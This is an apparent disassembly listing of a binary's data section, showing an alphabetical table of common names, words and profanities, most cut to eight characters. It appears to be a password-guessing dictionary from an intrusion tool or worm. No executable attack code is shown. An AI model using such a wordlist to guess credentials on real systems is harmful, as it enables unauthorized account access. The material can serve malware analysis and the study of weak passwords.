		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: ___:0042ABBCo
		align 10h
aWood		db 'wood',0             ; DATA XREF: ___:0042ABB8o
		align 4
aWomen		db 'women',0            ; DATA XREF: ___:0042ABB4o
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: ___:0042ABB0o
		align 4
aWoman		db 'woman',0            ; DATA XREF: ___:0042ABACo
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: ___:0042ABA8o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: ___:0042ABA4o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: ___:0042ABA0o
		align 4
aWithin		db 'within',0           ; DATA XREF: ___:0042AB9Co
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: ___:0042AB98o
aWisconsi	db 'wisconsi',0         ; DATA XREF: ___:0042AB94o
		align 4
aWired		db 'wired',0            ; DATA XREF: ___:0042AB90o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: ___:0042AB8Co
aWing		db 'wing',0             ; DATA XREF: ___:0042AB88o
		align 10h
aWine		db 'wine',0             ; DATA XREF: ___:0042AB84o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042AB80o
aWilma		db 'wilma',0            ; DATA XREF: ___:0042AB7Co
		align 4
aWillie		db 'willie',0           ; DATA XREF: ___:0042AB78o
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: ___:0042AB74o
		align 4
aWilliam	db 'william',0          ; DATA XREF: ___:0042AB70o
aWill		db 'will',0             ; DATA XREF: ___:0042AB6Co
		align 4
aWhore		db 'whore',0            ; DATA XREF: ___:0042AB68o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: ___:0042AB64o
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: ___:0042AB60o
aWhiting	db 'whiting',0          ; DATA XREF: ___:0042AB5Co
aWhite		db 'white',0            ; DATA XREF: ___:0042AB58o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: ___:0042AB54o
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: ___:0042AB50o
aWhatever	db 'whatever',0
		align 4
aWestern	db 'western',0
aWest		db 'west',0
		align 4
aWerewolf	db 'werewolf',0
		align 10h
aWendy		db 'wendy',0
		align 4
aWendi		db 'wendi',0
		align 10h
aWell		db 'well',0
		align 4
aWeenie		db 'weenie',0
		align 10h
aWeed		db 'weed',0
		align 4
aWednesda	db 'wednesda',0
		align 4
aWebpage	db 'webpage',0
aWave		db 'wave',0
		align 4
aWater		db 'water',0
		align 4
aWatchwor	db 'watchwor',0
		align 4
aWasp		db 'wasp',0
		align 10h
aWarren		db 'warren',0
		align 4
aWarp		db 'warp',0
		align 10h
aWargames	db 'wargames',0
		align 4
aWarfare	db 'warfare',0
aWarez		db 'warez',0
		align 4
aWard		db 'ward',0
		align 4
aWaco		db 'waco',0
		align 4
aVodka		db 'vodka',0
		align 4
aVisualba	db 'visualba',0
		align 10h
aVisual		db 'visual',0
		align 4
aVisitor	db 'visitor',0
aVirus		db 'virus',0
		align 4
aVirginia	db 'virginia',0
		align 4
aVirgin		db 'virgin',0
		align 4
aVillage	db 'village',0
aVideogam	db 'videogam',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
aVictor		db 'victor',0
		align 10h
aVicky		db 'vicky',0
		align 4
aVertigo	db 'vertigo',0
aVeronica	db 'veronica',0
		align 4
aVenus		db 'venus',0
		align 4
aVasant		db 'vasant',0
		align 4
aVampire	db 'vampire',0
aValerie	db 'valerie',0
aVagina		db 'vagina',0
		align 4
aUucp		db 'uucp',0
		align 4
aUtility	db 'utility',0
aUtil		db 'util',0
		align 4
aUsmc		db 'usmc',0
		align 4
aUsername	db 'username',0
		align 10h
aUsermane	db 'usermane',0
		align 4
aUsenet		db 'usenet',0
		align 4
aUrsula		db 'ursula',0
		align 4
aUrchin		db 'urchin',0
		align 4
aUranus		db 'uranus',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
aUnlock		db 'unlock',0
		align 4
aUnknown_0	db 'unknown',0
aUniversi	db 'universi',0
		align 10h
aUniverse	db 'universe',0
		align 4
aUniversa	db 'universa',0
		align 4
aUniform	db 'uniform',0
aUnicorn	db 'unicorn',0
aUnhappy	db 'unhappy',0
aUndo		db 'undo',0
		align 4
aUncle		db 'uncle',0
		align 10h
aUmesh		db 'umesh',0
		align 4
aUgly		db 'ugly',0
		align 10h
aTuttle		db 'tuttle',0
		align 4
aTurn		db 'turn',0
		align 10h
aTuesday	db 'tuesday',0
aTubas		db 'tubas',0
		align 10h
aTruth		db 'truth',0
		align 4
aTrue		db 'true',0
		align 10h
aTron		db 'tron',0
		align 4
aTrombone	db 'trombone',0
		align 4
aTrojan		db 'trojan',0
		align 4
aTrivial	db 'trivial',0
aTrisha		db 'trisha',0
		align 4
aTrek		db 'trek',0
		align 4
aTree		db 'tree',0             ; DATA XREF: ___:0043D7ECo
		align 4
aTrapdoor	db 'trapdoor',0
		align 4
aTrap		db 'trap',0
		align 10h
aTransfer	db 'transfer',0
		align 4
aTrails		db 'trails',0
		align 4
aTracy		db 'tracy',0
		align 4
aTracie		db 'tracie',0
		align 4
aTraci		db 'traci',0
		align 4
aToyota		db 'toyota',0
		align 4
aToxic		db 'toxic',0
		align 4
aTortoise	db 'tortoise',0
		align 4
aTopograp	db 'topograp',0
		align 4
aTomato		db 'tomato',0
		align 4
aTokenrin	db 'tokenrin',0
		align 4
aToken		db 'token',0
		align 10h
aToggle		db 'toggle',0
		align 4
aToad		db 'toad',0
		align 10h
aTits		db 'tits',0
		align 4
aTina		db 'tina',0
		align 10h
aTime		db 'time',0
		align 4
aTiger		db 'tiger',0
		align 10h
aTiffany	db 'tiffany',0
aThursday	db 'thursday',0
		align 4
aThin		db 'thin',0
		align 4
aTheresa	db 'theresa',0
aThailand	db 'thailand',0
		align 10h
aText		db 'text',0
		align 4
aTetris		db 'tetris',0
		align 10h
aTess		db 'tess',0
		align 4
aTerminat	db 'terminat',0
		align 4
aTerminal	db 'terminal',0
		align 10h
aTera		db 'tera',0
		align 4
aTennis		db 'tennis',0
		align 10h
aTemptati	db 'temptati',0
		align 4
aTelnet		db 'telnet',0
		align 4
aTelephon	db 'telephon',0
		align 10h
aTeenage	db 'teenage',0
aTeen		db 'teen',0
		align 10h
aTech		db 'tech',0
		align 4
aTears		db 'tears',0
		align 10h
aTeapot		db 'teapot',0
		align 4
aTeam		db 'team',0
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: ___:0042A970o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: ___:0042A96Co
		align 4
aTarget		db 'target',0           ; DATA XREF: ___:0042A968o
		align 4
aTara		db 'tara',0             ; DATA XREF: ___:0042A964o
		align 4
aTape		db 'tape',0             ; DATA XREF: ___:0042A960o
		align 4
aTango		db 'tango',0            ; DATA XREF: ___:0042A95Co
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: ___:0042A958o
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: ___:0042A954o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: ___:0042A950o
		align 10h
aTami		db 'tami',0             ; DATA XREF: ___:0042A94Co
		align 4
aTamara		db 'tamara',0           ; DATA XREF: ___:0042A948o
		align 10h
aTall		db 'tall',0             ; DATA XREF: ___:0042A944o
		align 4
aTalk		db 'talk',0             ; DATA XREF: ___:0042A940o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: ___:0042A93Co
aSysop		db 'sysop',0            ; DATA XREF: ___:0042A938o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: ___:0042A934o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: ___:0042A930o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: ___:0042A92Co
		align 10h
aSword		db 'sword',0            ; DATA XREF: ___:0042A928o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: ___:0042A924o
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: ___:0042A920o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: ___:0042A91Co
aSuzie		db 'suzie',0            ; DATA XREF: ___:0042A918o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: ___:0042A914o
aSusie		db 'susie',0            ; DATA XREF: ___:0042A910o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: ___:0042A90Co
aSusan		db 'susan',0            ; DATA XREF: ___:0042A908o
		align 4
aSurfing	db 'surfing',0
aSurfer		db 'surfer',0
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: ___:0042A8FCo
		align 4
aSupport	db 'support',0          ; DATA XREF: ___:0042A8F8o
aSupervis	db 'supervis',0         ; DATA XREF: ___:0042A8F4o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: ___:0042A8F0o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: ___:0042A8ECo
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: ___:0042A8E8o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: ___:0042A8E4o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: ___:0042A8E0o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: ___:0042A8DCo
		align 4
aSucks		db 'sucks',0            ; DATA XREF: ___:0042A8D8o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: ___:0042A8D4o
		align 4
aSuck		db 'suck',0             ; DATA XREF: ___:0042A8D0o
		align 4
aSuccess	db 'success',0          ; DATA XREF: ___:0042A8CCo
aSubway		db 'subway',0           ; DATA XREF: ___:0042A8C8o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: ___:0042A8C4o
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: ___:0042A8C0o
		align 4
aStrip		db 'strip',0
		align 4
aString		db 'string',0           ; DATA XREF: ___:0042A8B4o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: ___:0042A8B0o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: ___:0042A8ACo
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: ___:0042A8A8o
		align 10h
aStrange	db 'strange',0          ; DATA XREF: ___:0042A8A4o
aStones		db 'stones',0           ; DATA XREF: ___:0042A8A0o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: ___:0042A89Co
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: ___:0042A898o
		align 4
aSteve		db 'steve',0            ; DATA XREF: ___:0042A894o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: ___:0042A890o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: ___:0042A88Co
		align 10h
aSteph		db 'steph',0            ; DATA XREF: ___:0042A888o
		align 4
aSteel		db 'steel',0            ; DATA XREF: ___:0042A884o
		align 10h
aSteal		db 'steal',0            ; DATA XREF: ___:0042A880o
		align 4
aSteak		db 'steak',0            ; DATA XREF: ___:0042A87Co
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: ___:0042A878o
		align 4
aStartup	db 'startup',0          ; DATA XREF: ___:0042A874o
aStartrek	db 'startrek',0         ; DATA XREF: ___:0042A870o
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
					; ___:0042A86Co
		align 4
aStarship	db 'starship',0         ; DATA XREF: ___:0042A868o
		align 4
aStar		db 'star',0             ; DATA XREF: ___:0042A864o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: ___:0042A860o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: ___:0042A85Co
		align 4
aStaci		db 'staci',0            ; DATA XREF: ___:0042A858o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: ___:0042A854o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: ___:0042A850o
		align 4
aSquires	db 'squires',0          ; DATA XREF: ___:0042A84Co
aSpunk		db 'spunk',0            ; DATA XREF: ___:0042A848o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: ___:0042A844o
		align 10h
aSpring		db 'spring',0           ; DATA XREF: ___:0042A840o
		align 4
aSpred		db 'spred',0            ; DATA XREF: ___:0042A83Co
		align 10h
aSpit		db 'spit',0             ; DATA XREF: ___:0042A838o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: ___:0042A834o
		align 4
aSpider		db 'spider',0           ; DATA XREF: ___:0042A830o
		align 4
aSpice		db 'spice',0            ; DATA XREF: ___:0042A82Co
		align 4
aSpell		db 'spell',0            ; DATA XREF: ___:0042A828o
		align 4
aSpear		db 'spear',0            ; DATA XREF: ___:0042A824o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: ___:0042A820o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: ___:0042A81Co
		align 4
aSouth		db 'south',0            ; DATA XREF: ___:0042A818o
		align 4
aSource		db 'source',0           ; DATA XREF: ___:0042A814o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: ___:0042A810o
aSonya		db 'sonya',0            ; DATA XREF: ___:0042A80Co
		align 4
aSonic		db 'sonic',0            ; DATA XREF: ___:0042A808o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: ___:0042A804o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: ___:0042A800o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: ___:0042A7FCo
		align 10h
aSoftware	db 'software',0         ; DATA XREF: ___:0042A7F8o
		align 4
aSoft		db 'soft',0             ; DATA XREF: ___:0042A7F4o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: ___:0042A7F0o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: ___:0042A7ECo
		align 4
aSocial		db 'social',0           ; DATA XREF: ___:0042A7E8o
		align 10h
aSoap		db 'soap',0             ; DATA XREF: ___:0042A7E4o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: ___:0042A7E0o
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: ___:0042A7DCo
		align 4
aSnake		db 'snake',0            ; DATA XREF: ___:0042A7D8o
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: ___:0042A7D4o
		align 4
aSnach		db 'snach',0            ; DATA XREF: ___:0042A7D0o
		align 10h
aSmut		db 'smut',0             ; DATA XREF: ___:0042A7CCo
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: ___:0042A7C8o
		align 10h
aSmother	db 'smother',0          ; DATA XREF: ___:0042A7C4o
aSmooch		db 'smooch',0           ; DATA XREF: ___:0042A7C0o
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: ___:0042A7BCo
		align 4
aSmile		db 'smile',0            ; DATA XREF: ___:0042A7B8o
		align 10h
aSmart		db 'smart',0            ; DATA XREF: ___:0042A7B4o
		align 4
aSmall		db 'small',0            ; DATA XREF: ___:0042A7B0o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: ___:0042A7ACo
		align 4
aSlow		db 'slow',0             ; DATA XREF: ___:0042A7A8o
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: ___:0042A7A4o
aSlick		db 'slick',0            ; DATA XREF: ___:0042A7A0o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: ___:0042A79Co
		align 4
aSkull		db 'skull',0            ; DATA XREF: ___:0042A798o
		align 10h
aSite		db 'site',0             ; DATA XREF: ___:0042A794o
		align 4
aSingle		db 'single',0           ; DATA XREF: ___:0042A790o
		align 10h
aSinger		db 'singer',0           ; DATA XREF: ___:0042A78Co
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: ___:0042A788o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: ___:0042A784o
		align 10h
aSimple		db 'simple',0           ; DATA XREF: ___:0042A780o
		align 4
aSimon		db 'simon',0            ; DATA XREF: ___:0042A77Co
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: ___:0042A778o
aSilver		db 'silver',0           ; DATA XREF: ___:0042A774o
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: ___:0042A770o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: ___:0042A76Co
		align 4
aSick		db 'sick',0             ; DATA XREF: ___:0042A768o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: ___:0042A764o
aShort		db 'short',0            ; DATA XREF: ___:0042A760o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: ___:0042A75Co
aShiva		db 'shiva',0            ; DATA XREF: ___:0042A758o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: ___:0042A754o
aShit		db 'shit',0             ; DATA XREF: ___:0042A750o
					; ___:0043D93Co
		align 4
aShirley	db 'shirley',0          ; DATA XREF: ___:0042A74Co
aShift		db 'shift',0            ; DATA XREF: ___:0042A748o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: ___:0042A744o
		align 4
aShell		db 'shell',0            ; DATA XREF: ___:0042A740o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: ___:0042A73Co
aSheffiel	db 'sheffiel',0         ; DATA XREF: ___:0042A738o
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: ___:0042A734o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: ___:0042A730o
		align 10h
aShark		db 'shark',0            ; DATA XREF: ___:0042A72Co
		align 4
aSharc		db 'sharc',0            ; DATA XREF: ___:0042A728o
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: ___:0042A724o
aSexy		db 'sexy',0             ; DATA XREF: ___:0042A720o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: ___:0042A71Co
		align 4
aService	db 'service',0          ; DATA XREF: ___:0042A718o
aSerial		db 'serial',0           ; DATA XREF: ___:0042A714o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: ___:0042A710o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: ___:0042A70Co
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: ___:0042A708o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: ___:0042A704o
		align 10h
aSega		db 'sega',0             ; DATA XREF: ___:0042A700o
		align 4
aSeed		db 'seed',0             ; DATA XREF: ___:0042A6FCo
		align 10h
aSecurity	db 'security',0         ; DATA XREF: ___:0042A6F8o
		align 4
aSearch		db 'search',0           ; DATA XREF: ___:0042A6F4o
		align 4
aScout		db 'scout',0            ; DATA XREF: ___:0042A6F0o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: ___:0042A6ECo
		align 4
aScott		db 'scott',0            ; DATA XREF: ___:0042A6E8o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: ___:0042A6E4o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: ___:0042A6E0o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: ___:0042A6DCo
aSchool		db 'school',0           ; DATA XREF: ___:0042A6D8o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: ___:0042A6D4o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: ___:0042A6D0o
aSaxon		db 'saxon',0            ; DATA XREF: ___:0042A6CCo
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: ___:0042A6C8o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: ___:0042A6C4o
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: ___:0042A6C0o
		align 4
aSara		db 'sara',0             ; DATA XREF: ___:0042A6BCo
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: ___:0042A6B8o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: ___:0042A6B4o
		align 10h
aSample		db 'sample',0           ; DATA XREF: ___:0042A6B0o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: ___:0042A6ACo
		align 4
aSalt		db 'salt',0             ; DATA XREF: ___:0042A6A8o
		align 4
aSale		db 'sale',0             ; DATA XREF: ___:0042A6A4o
		align 4
aSalami		db 'salami',0           ; DATA XREF: ___:0042A6A0o
		align 4
aSafe		db 'safe',0             ; DATA XREF: ___:0042A69Co
		align 4
aRuth		db 'ruth',0             ; DATA XREF: ___:0042A698o
		align 4
aRush		db 'rush',0             ; DATA XREF: ___:0042A694o
		align 4
aRunning	db 'running',0          ; DATA XREF: ___:0042A690o
aRules		db 'rules',0            ; DATA XREF: ___:0042A68Co
		align 4
aRude		db 'rude',0             ; DATA XREF: ___:0042A688o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: ___:0042A684o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: ___:0042A680o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: ___:0042A67Co
		align 4
aRough		db 'rough',0            ; DATA XREF: ___:0042A678o
		align 4
aRoses		db 'roses',0            ; DATA XREF: ___:0042A674o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: ___:0042A670o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: ___:0042A66Co
aRose		db 'rose',0             ; DATA XREF: ___:0042A668o
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: ___:0042A664o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: ___:0042A660o
aRomeo		db 'romeo',0            ; DATA XREF: ___:0042A65Co
		align 4
aRomano		db 'romano',0           ; DATA XREF: ___:0042A658o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: ___:0042A654o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: ___:0042A650o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: ___:0042A64Co
		align 4
aRocky		db 'rocky',0            ; DATA XREF: ___:0042A648o
		align 4
aRock		db 'rock',0             ; DATA XREF: ___:0042A644o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: ___:0042A640o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: ___:0042A63Co
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: ___:0042A638o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: ___:0042A634o
		align 4
aRobot		db 'robot',0            ; DATA XREF: ___:0042A630o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: ___:0042A62Co
		align 4
aRobert		db 'robert',0           ; DATA XREF: ___:0042A628o
		align 10h
aRoach		db 'roach',0            ; DATA XREF: ___:0042A624o
		align 4
aRisc		db 'risc',0             ; DATA XREF: ___:0042A620o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: ___:0042A61Co
		align 4
aRiot		db 'riot',0             ; DATA XREF: ___:0042A618o
		align 10h
aRing		db 'ring',0             ; DATA XREF: ___:0042A614o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: ___:0042A610o
		align 4
aRight		db 'right',0            ; DATA XREF: ___:0042A60Co
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: ___:0042A608o
		align 4
aRick		db 'rick',0             ; DATA XREF: ___:0042A604o
		align 10h
aRich		db 'rich',0             ; DATA XREF: ___:0042A600o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: ___:0042A5FCo
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: ___:0042A5F8o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: ___:0042A5F4o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: ___:0042A5F0o
		align 10h
aReport		db 'report',0           ; DATA XREF: ___:0042A5ECo
		align 4
aRent		db 'rent',0             ; DATA XREF: ___:0042A5E8o
		align 10h
aReno		db 'reno',0             ; DATA XREF: ___:0042A5E4o
		align 4
aRenee		db 'renee',0            ; DATA XREF: ___:0042A5E0o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: ___:0042A5DCo
		align 4
aRelease	db 'release',0          ; DATA XREF: ___:0042A5D8o
aRegional	db 'regional',0         ; DATA XREF: ___:0042A5D4o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: ___:0042A5D0o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: ___:0042A5CCo
aReddawn	db 'reddawn',0          ; DATA XREF: ___:0042A5C8o
aRecord		db 'record',0           ; DATA XREF: ___:0042A5C4o
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: ___:0042A5C0o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: ___:0042A5BCo
aRebal		db 'rebal',0            ; DATA XREF: ___:0042A5B8o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: ___:0042A5B4o
		align 10h
aReam		db 'ream',0             ; DATA XREF: ___:0042A5B0o
		align 4
aReally		db 'really',0           ; DATA XREF: ___:0042A5ACo
		align 10h
aReality	db 'reality',0          ; DATA XREF: ___:0042A5A8o
aReagan		db 'reagan',0           ; DATA XREF: ___:0042A5A4o
		align 10h
aRazor		db 'razor',0            ; DATA XREF: ___:0042A5A0o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: ___:0042A59Co
		align 10h
aRape		db 'rape',0             ; DATA XREF: ___:0042A598o
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
					; ___:0042A594o
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: ___:0042A590o
aRaindrop	db 'raindrop',0         ; DATA XREF: ___:0042A58Co
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: ___:0042A588o
aRain		db 'rain',0             ; DATA XREF: ___:0042A584o
		align 4
aRaid		db 'raid',0             ; DATA XREF: ___:0042A580o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: ___:0042A57Co
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: ___:0042A578o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: ___:0042A574o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: ___:0042A570o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:0042A56Co
		align 4
aQwert		db 'qwert',0            ; DATA XREF: ___:0042A568o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: ___:0042A564o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: ___:0042A560o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: ___:0042A55Co
		align 4
aPunk		db 'punk',0             ; DATA XREF: ___:0042A558o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: ___:0042A554o
		align 10h
aPuneet		db 'puneet',0
		align 4
aPumpkin	db 'pumpkin',0
aPuke		db 'puke',0
		align 4
aPuck		db 'puck',0
		align 10h
aPublic		db 'public',0
		align 4
aPsychopa	db 'psychopa',0
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: ___:0042A538o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: ___:0042A534o
		align 4
aProtect	db 'protect',0
aPrompt		db 'prompt',0
		align 4
aProgram	db 'program',0
aProfile	db 'profile',0          ; DATA XREF: ___:0042A524o
aProfesso	db 'professo',0
		align 4
aProcesso	db 'processo',0
		align 10h
aProceed	db 'proceed',0
aPrivs		db 'privs',0
		align 10h
aPrivate	db 'private',0
aPriv		db 'priv',0
		align 10h
aPrinter	db 'printer',0
aPrinceto	db 'princeto',0
		align 4
aPrince		db 'prince',0           ; DATA XREF: ___:0042A500o
		align 4
aPresto		db 'presto',0           ; DATA XREF: ___:0042A4FCo
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: ___:0042A4F8o
aPrecious	db 'precious',0
		align 4
aPraise		db 'praise',0
		align 10h
aPower		db 'power',0
		align 4
aPoster		db 'poster',0
		align 10h
aPost		db 'post',0
		align 4
aPorsche	db 'porsche',0
aPorno		db 'porno',0
		align 4
aPorn		db 'porn',0
		align 10h
aPork		db 'pork',0
		align 4
aPoor		db 'poor',0
		align 10h
aPoop		db 'poop',0
		align 4
aPonderin	db 'ponderin',0
		align 4
aPolynomi	db 'polynomi',0
		align 10h
aPolly		db 'polly',0
		align 4
aPolice		db 'police',0
		align 10h
aPoetry		db 'poetry',0
		align 4
aPlymouth	db 'plymouth',0
		align 4
aPluto		db 'pluto',0
		align 4
aPlover		db 'plover',0
		align 4
aPlayboy	db 'playboy',0
aPlane		db 'plane',0
		align 4
aPizza		db 'pizza',0
		align 4
aPiss		db 'piss',0
		align 4
aPinname	db 'pinname',0
aPimp		db 'pimp',0
		align 4
aPierre		db 'pierre',0
		align 4
aPick		db 'pick',0
		align 4
aPhuck		db 'phuck',0
		align 4
aPhreak		db 'phreak',0
		align 4
aPhrase		db 'phrase',0
		align 4
aPhrack		db 'phrack',0
		align 4
aPhoton		db 'photon',0
		align 4
aPhone		db 'phone',0
		align 4
aPhoenix	db 'phoenix',0
aPhilip		db 'philip',0
		align 4
aPhil		db 'phil',0
		align 4
aPeter		db 'peter',0
		align 4
aPete		db 'pete',0
		align 4
aPervert	db 'pervert',0
aPersona	db 'persona',0
aPersimmo	db 'persimmo',0
		align 4
aPermit		db 'permit',0
		align 10h
aPerfect	db 'perfect',0
aPercolat	db 'percolat',0
		align 4
aPepper		db 'pepper',0
		align 4
aPeoria		db 'peoria',0
		align 4
aPentium	db 'pentium',0
aPenthous	db 'penthous',0
		align 4
aPentagra	db 'pentagra',0
		align 4
aPentagon	db 'pentagon',0
		align 10h
aPenname	db 'penname',0
aPenis		db 'penis',0
		align 10h
aPenguin	db 'penguin',0
aPenelope	db 'penelope',0
		align 4
aPencil		db 'pencil',0
		align 4
aPecker		db 'pecker',0
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: ___:0042A414o
aPaula		db 'paula',0            ; DATA XREF: ___:0042A410o
		align 4
aPatty		db 'patty',0            ; DATA XREF: ___:0042A40Co
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: ___:0042A408o
aPatricia	db 'patricia',0         ; DATA XREF: ___:0042A404o
		align 10h
aPaste		db 'paste',0            ; DATA XREF: ___:0042A400o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: ___:0042A3FCo
		align 4
aPascal		db 'pascal',0           ; DATA XREF: ___:0042A3F8o
		align 4
aPapers		db 'papers',0           ; DATA XREF: ___:0042A3F4o
		align 4
